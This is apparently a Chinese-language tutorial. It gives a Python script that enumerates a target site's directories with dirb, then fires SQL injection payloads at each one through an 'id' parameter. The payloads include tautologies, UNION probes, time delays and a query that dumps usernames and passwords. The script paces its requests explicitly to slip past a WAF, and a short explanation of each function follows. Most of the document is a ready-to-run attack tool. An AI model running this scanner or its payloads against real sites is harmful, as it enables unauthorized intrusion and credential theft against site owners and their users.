用于对目标域名进行目录枚举和 SQL 注入测试。。
import requests
import subprocess
import logging
import time
# 设置日志配置
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
# SQL 注入有效载荷列表
SQL_INJECTION_PAYLOADS = [
"' OR '1'='1' --",
"' OR 'a'='a' --",
"' OR 1=1 --",
"' AND 1=(SELECT COUNT(*) FROM users) --",
"'; SELECT concat(username, ':', password) FROM users --",
"'; WAITFOR DELAY '0:0:5'; --",
"' OR (SELECT CASE WHEN (1=1) THEN 1 ELSE (SELECT 1/0) END) --",
"' UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL --",
"' AND EXISTS(SELECT * FROM users WHERE username='admin') --",
"'; SELECT @@datadir; --",
]
def run_dirb(target_url):
"""
运行 dirb 工具来枚举目录.
:param target_url: 目标URL
:return: 一个包含发现的目录的列表
"""
try:
cmd = ['dirb', target_url]
result = subprocess.run(cmd, capture_output=True, text=True, check=True)
# 解析 dirb 输出中的目录
found_dirs = []
for line in result.stdout.splitlines():
if line and '/' in line:
found_dirs.append(line.split(' ')[-1]) # 获取目录部分
return found_dirs
except subprocess.CalledProcessError as e:
logger.error(f"运行 dirb 失败: {e}")
return []
def test_sql_injection(url, payload):
"""
测试特定 URL 对 SQL 注入的漏洞.
:param url: 目标 URL
:param payload: SQL 注入有效载荷
:return: 响应内容和状态代码
"""
try:
response = requests.get(f"{url}?id={payload}", timeout=5)
if "error" in response.text.lower() or "mysql" in response.text.lower():
logger.warning(f"潜在的 SQL 注入点发现 with payload: {payload}")
elif "admin" in response.text.lower(): # 检测管理用户
logger.info(f"管理用户可能暴露 with payload: {payload}")
return response.content, response.status_code
except requests.exceptions.RequestException as e:
logger.error(f"请求失败: {e}")
return None, None
def main(target_url):
"""
主函数,进行 SQL 注入测试.
"""
logger.info(f"开始对 {target_url} 进行目录枚举")
# 执行 dirb 工具并获取发现的目录
discovered_dirs = run_dirb(target_url)
if not discovered_dirs:
logger.info("未发现任何目录.")
return
logger.info(f"发现的目录: {discovered_dirs}")
# 对每个发现的目录进行 SQL 注入测试
for dir in discovered_dirs:
for payload in SQL_INJECTION_PAYLOADS:
target = f"{target_url}{dir}"
logger.info(f"正在测试 {target} with payload: {payload}")
response, status_code = test_sql_injection(target, payload)
if response:
logger.info(f"响应状态: {status_code}, 响应内容前100字: {response[:100]}")
time.sleep(1) # 限制请求速率以避免触发 WAF
if __name__ == "__main__":
target_url = "http://example.com" # 替换为目标网站
main(target_url)
代码解释:
-
日z记录:使用
logging
模块记录信息、警告和错误。 -
SQL 注入有效载荷:定义了一些常见的 SQL 注入有效载荷用于测试。
-
run_dirb
函数:执行dirb
工具并解析输出,返回发现的目录列表。 -
test_sql_injection
函数:尝试对每个目录执行 SQL 注入测试,通过检查响应内容来判断是否存在漏洞。 -
main
函数:汇总目录枚举和 SQL 注入测试的逻辑,输出发现的目录及其测试结果。